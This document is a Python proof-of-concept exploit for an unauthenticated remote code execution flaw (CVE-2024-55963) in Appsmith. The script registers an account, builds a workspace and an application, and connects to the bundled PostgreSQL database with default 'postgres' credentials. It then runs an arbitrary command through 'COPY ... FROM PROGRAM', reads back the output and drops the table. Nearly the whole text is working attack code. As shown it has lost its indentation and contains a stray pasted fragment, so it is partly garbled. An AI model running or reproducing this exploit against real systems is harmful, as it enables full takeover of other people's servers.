# Exploit Title: AppSmith 1.47 - Remote Code Execution (RCE)
# Original Author: Rhino Security Labs
# Exploit Author: Nishanth Anand
# Exploit Date: April 2, 2025
# Vendor Homepage: https://www.appsmith.com/
# Software Link: https://github.com/appsmithorg/appsmith
# Version: Prior to v1.52
# Tested Versions: v1.47
# CVE ID: CVE-2024-55963
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Appsmith versions prior to v1.52 due to misconfigured PostgreSQL database allowing COPY FROM PROGRAM command execution.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, Database
# CVSS Score: 9.8 (Critical)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: The vulnerability exists in Appsmith's internal PostgreSQL database configuration, allowing attackers to execute arbitrary commands on the host system.
import requests
import json
import pyfiglet
import argparse
# Create a banner using pyfiglet
banner = pyfiglet.figlet_format("Appsmith RCE") # Replace with your desired title
print(banner)
# Set up argument parser
parser = argparse.ArgumentParser(description='Appsmith RCE Proof of Concept')
parser.add_argument('-u', '--url', required=True, help='Base URL of the target')
parser.add_argument('command', nargs='?', default='id', help='Command to execute')
args = parser.parse_args()
# Get the base URL and command from the parsed arguments
base_url = args.url
command_arg = args.command
if not base_url.startswith("http://") and not base_url.startswith("https://"):
base_url = "http://" + base_url
# Signup request
signup_url = f"{base_url}/api/v1/users"
signup_data = {
"email": "poc1@poc.com",
"password": "Testing123!"
}
print('Signing up...')
signup_response = requests.post(signup_url, data=signup_data)
signup_response.raise_for_status()
# Login request
login_url = f"{base_url}/api/v1/login" # Adjust the URL as needed
login_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/user/login",
"Cookie": "ajs_user_id=e471142002a6163a3beff6ee71606ea55d631c49e566f403b0614af905ae951d; intercom-device-id-y10e7138=83f9c6a5-3c0b-409e-9d7b-9ca61a129f49; SESSION=1e786474-3b33-407d-be71-47d986031a24; ajs_anonymous_id=8e91142e-ea5a-4725-91b6-439e8bd0abc1; intercom-session-y10e7138=bHI4SnhSRFhmUUVLUXpGZ0V0R0lzUkZsSmxEQkFJKzRaV20wMGtnaGtJWjJoc1AySWV6Rnl2c1AvbUY4eEkxaC0tK1pqNHNKYlZxVzBib1F3NVhXK0poQT09--0daa2198fe17122d3291b90abdb3e78d193ad2ed",
}
login_data = {
"username": "poc1@poc.com", # Adjusted to match the provided request
"password": "Testing123!"
}
# Make the login request without following redirects
print('Logging in...')
login_response = requests.post(login_url, headers=login_headers, data=login_data, allow_redirects=False)
login_response.raise_for_status()
# Capture the 'Set-Cookie' header if it exists
set_cookie = login_response.headers.get('Set-Cookie')
if set_cookie:
# Split the Set-Cookie header to get the cookie name and value
cookie_name, cookie_value = set_cookie.split(';')[0].split('=')
# Fourth request to create a new workspace
print('Creating a new workspace...')
if set_cookie:
fourth_request_url = f"{base_url}/api/v1/workspaces"
fourth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Connection": "keep-alive",
"Referer": f"{base_url}/applications",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
fourth_request_data = json.dumps({"name": "Untitled workspace 3"})
fourth_response = requests.post(fourth_request_url, headers=fourth_request_headers, data=fourth_request_data)
fourth_response.raise_for_status()
# Extract the 'id' from the response if it exists
try:
response_json = fourth_response.json()
workspace_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fourth_response.text) # Print the raw response for debugging
if workspace_id:
fifth_request_url = f"{base_url}/api/v1/applications"
fifth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"Content-Length": "161",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/applications?workspaceId={workspace_id}",
"Cookie": f"{cookie_name}={cookie_value}",
}
fifth_request_data = json.dumps({"workspaceId":workspace_id,"name":"Untitled application 2","color":"#E3DEFF","icon":"chinese-remnibi","positioningType":"FIXED","showNavbar":None})
print('Creating a new application...')
fifth_response = requests.post(fifth_request_url, headers=fifth_request_headers, data=fifth_request_data)
fifth_response.raise_for_status()
try:
response_json = fifth_response.json()
application_id = response_json.get("data", {}).get("id")
except ValueError:
print("Response content is not valid JSON:", fifth_response.text)
# Sixth request to get workspace details
if workspace_id:
sixth_request_url = f"{base_url}/api/v1/workspaces/{workspace_id}"
sixth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting workspace details...')
sixth_response = requests.get(sixth_request_url, headers=sixth_request_headers)
sixth_response.raise_for_status()
# Extract all plugin IDs from the response
try:
response_json = sixth_response.json()
plugin_ids = [plugin.get("pluginId") for plugin in response_json.get("data", {}).get("plugins", [])]
# Loop through each plugin ID for the seventh request
print(f'Searching for vulnerable postgres database...')
for plugin_id in plugin_ids:
# Seventh request to get the form data for the plugin
seventh_request_url = f"{base_url}/api/v1/plugins/{plugin_id}/form"
seventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasources/NEW",
"Cookie": f"{cookie_name}={cookie_value}",
}
try:
seventh_response = requests.get(seventh_request_url, headers=seventh_request_headers)
seventh_response.raise_for_status()
# Extracting the port value from the seventh response
try:
seventh_response_json = seventh_response.json()
if 'data' in seventh_response_json and 'form' in seventh_response_json['data']:
form_data = seventh_response_json['data']['form']
if any("postgres" in str(item) for item in form_data):
print(f"Vulnerable postgres database found.")
break
else:
pass
except (ValueError, IndexError) as e:
pass
except requests.exceptions.HTTPError as e:
print(f"Error checking plugin {plugin_id}: {e}")
continue
# Proceed to request 8 after finding "postgres"
# Proceed to request 8 after finding "postgres"
if "postgres" in str(seventh_response_json):
try:
# Try the environments API endpoint
eighth_request_url = f"{base_url}/api/v1/environments/workspaces/{workspace_id}?fetchDatasourceMeta=true"
eighth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit",
"Cookie": f"{cookie_name}={cookie_value}",
}
print('Getting the workspace details...')
eighth_response = requests.get(eighth_request_url, headers=eighth_request_headers)
eighth_response.raise_for_status()
# Extracting the workspace ID from the eighth response
try:
eighth_response_json = eighth_response.json()
workspace_data = eighth_response_json.get("data", [{}])[0]
workspace_id_value = workspace_data.get("id")
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain the expected structure:", eighth_response.text)
except requests.exceptions.HTTPError as e:
# If the environments API fails, use the workspace ID we already have
print(f"Could not fetch environment details: {e}")
print("Using existing workspace ID for datasource creation...")
workspace_id_value = workspace_id
except (ValueError, IndexError):
print("Response content is not valid JSON or does not contain enough plugins:", sixth_response.text)
# After the eighth request to get workspace details
if workspace_id_value:
ninth_request_url = f"{base_url}/api/v1/datasources"
ninth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "8e91142e-ea5a-4725-91b6-439e8bd0abc1",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit/datasource/temp-id-0?from=datasources&pluginId=671a669f4e7fe242d9885195",
"Cookie": f"{cookie_name}={cookie_value}",
}
ninth_request_data = {
"pluginId": plugin_id,
"datasourceStorages": {
workspace_id_value: {
"datasourceConfiguration": {
"properties": [None, {"key": "Connection method", "value": "STANDARD"}],
"connection": {
"mode": "READ_WRITE",
"ssl": {"authType": "DEFAULT"}
},
"endpoints": [{"port": "5432", "host": "localhost"}],
"sshProxy": {"endpoints": [{"port": "22"}]},
"authentication": {
"databaseName": "postgres",
"username": "postgres",
"password": "postgres"
}
},
"datasourceId": "",
"environmentId": workspace_id_value,
"isConfigured": True
}
},
"name": "Untitled datasource 1",
"workspaceId": workspace_id
}
print('Connecting to vulnerable postgres database...')
ninth_response = requests.post(ninth_request_url, headers=ninth_request_headers, json=ninth_request_data)
ninth_response.raise_for_status()
# Extracting the ID from the response
try:
ninth_response_json = ninth_response.json()
datasource_id = ninth_response_json.get("data", {}).get("id")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", ninth_response.text)
# After the ninth request to create the datasource
if datasource_id:
# 10th Request
tenth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
tenth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
tenth_request_data = {
"title": "SELECT",
"body": "create table poc (column1 TEXT);",
"suggested": True
}
print("Creating the table 'poc'...")
tenth_response = requests.post(tenth_request_url, headers=tenth_request_headers, json=tenth_request_data)
tenth_response.raise_for_status()
# 11th Request
eleventh_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview"
eleventh_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2",
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}",
}
eleventh_request_data = {
"title": "SELECT",
"body": f"copy poc from program '{command_arg}';",
"suggested": True
}/CVE-2024-55963-Appsmith-RCE
print("Running command...")
eleventh_response = requests.post(eleventh_request_url, headers=eleventh_request_headers, json=eleventh_request_data)
eleventh_response.raise_for_status()
# 12th Request
twelfth_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
twelfth_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for the 12th schema preview
twelfth_request_data = {
"title": "SELECT",
"body": "select * from poc;",
"suggested": True
}
# Print statement before the 12th request
print("Reading command output from poc table...\n")
# Make the POST request for the 12th schema preview
twelfth_response = requests.post(twelfth_request_url, headers=twelfth_request_headers, json=twelfth_request_data)
# Extracting and printing the response from the 12th schema preview
try:
twelfth_response_json = twelfth_response.json()
# Extracting the specific data
body_data = twelfth_response_json.get("data", {}).get("body", [])
column1_values = [item.get("column1") for item in body_data] # Extract only the column1 values
print("Command output:")
print("----------------------------------------")
for value in column1_values:
print(value) # Print each column1 value
print("----------------------------------------\n")
except (ValueError, KeyError):
print("Response content is not valid JSON or does not contain the expected structure:", twelfth_response.text) # Print the raw response for debugging
# Cleanup Request
cleanup_request_url = f"{base_url}/api/v1/datasources/{datasource_id}/schema-preview" # Use the datasource_id
cleanup_request_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json",
"X-Requested-By": "Appsmith",
"x-anonymous-user-id": "017a0261-6296-4852-88a1-d557bd478fb2", # Use your actual anonymous user ID
"Origin": base_url,
"Connection": "keep-alive",
"Referer": f"{base_url}/app/untitled-application-1/page1-670056b59e810d6d78f0f7dc/edit/datasource/67005e8f9e810d6d78f0f7e3",
"Cookie": f"{cookie_name}={cookie_value}", # Use the captured session cookie
}
# Request body for cleanup
cleanup_request_data = {
"title": "SELECT",
"body": "DROP TABLE poc;", # Command to drop the table
"suggested": True
}
# Make the POST request for the cleanup
print('\nDropping the table...')
cleanup_response = requests.post(cleanup_request_url, headers=cleanup_request_headers, json=cleanup_request_data)
